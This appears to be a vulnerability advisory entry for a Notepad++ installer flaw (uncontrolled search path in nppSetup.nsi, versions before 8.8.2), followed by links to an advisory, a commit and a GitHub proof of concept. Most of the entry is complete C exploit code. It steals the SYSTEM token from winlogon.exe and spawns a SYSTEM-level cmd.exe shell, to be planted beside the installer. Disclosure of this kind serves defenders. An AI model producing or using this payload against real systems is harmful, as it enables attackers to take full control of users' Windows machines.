Uncontrolled Search Path Element Affecting notepad-plus-plus/notepad-plus-plus package, versions [,8.8.2)

Affected versions of this package are vulnerable to Uncontrolled Search Path Element via the nppSetup.nsi script. An attacker can gain elevated privileges by placing a malicious executable in the same directory as the legitimate installer and tricking a user into executing it, resulting in the malicious code running with SYSTEM-level privileges.

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

BOOL EnablePrivilege(LPCWSTR privilege) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        return FALSE;
    }
    LookupPrivilegeValue(NULL, privilege, &tp.Privileges[0].Luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);
    return GetLastError() == ERROR_SUCCESS;
}

HANDLE GetSystemProcessToken() {
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
    HANDLE hProcess = NULL, hToken = NULL, hDupToken = NULL;

    if (Process32First(hProcessSnap, &pe32)) {
        do {
            if (_wcsicmp(pe32.szExeFile, L"winlogon.exe") == 0) {
                hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
                if (hProcess) {
                    if (OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
                        DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDupToken);
                    }
                    CloseHandle(hProcess);
                    CloseHandle(hToken);
                }
                break;
            }
        } while (Process32Next(hProcessSnap, &pe32));
    }
    CloseHandle(hProcessSnap);
    return hDupToken;
}

int main() {
    if (!EnablePrivilege(SE_DEBUG_NAME)) {
        printf("Failed to enable SeDebugPrivilege.\n");
        return 1;
    }

    HANDLE hSystemToken = GetSystemProcessToken();
    if (!hSystemToken) {
        printf("Failed to obtain SYSTEM token.\n");
        return 1;
    }

    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    if (CreateProcessWithTokenW(hSystemToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) {
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        printf("SYSTEM shell spawned!\n");
    } else {
        printf("Failed to create process with SYSTEM token.\n");
    }
    CloseHandle(hSystemToken);
    return 0;
}

• CSA Advisory
• GitHub Commit
• PoC in GitHub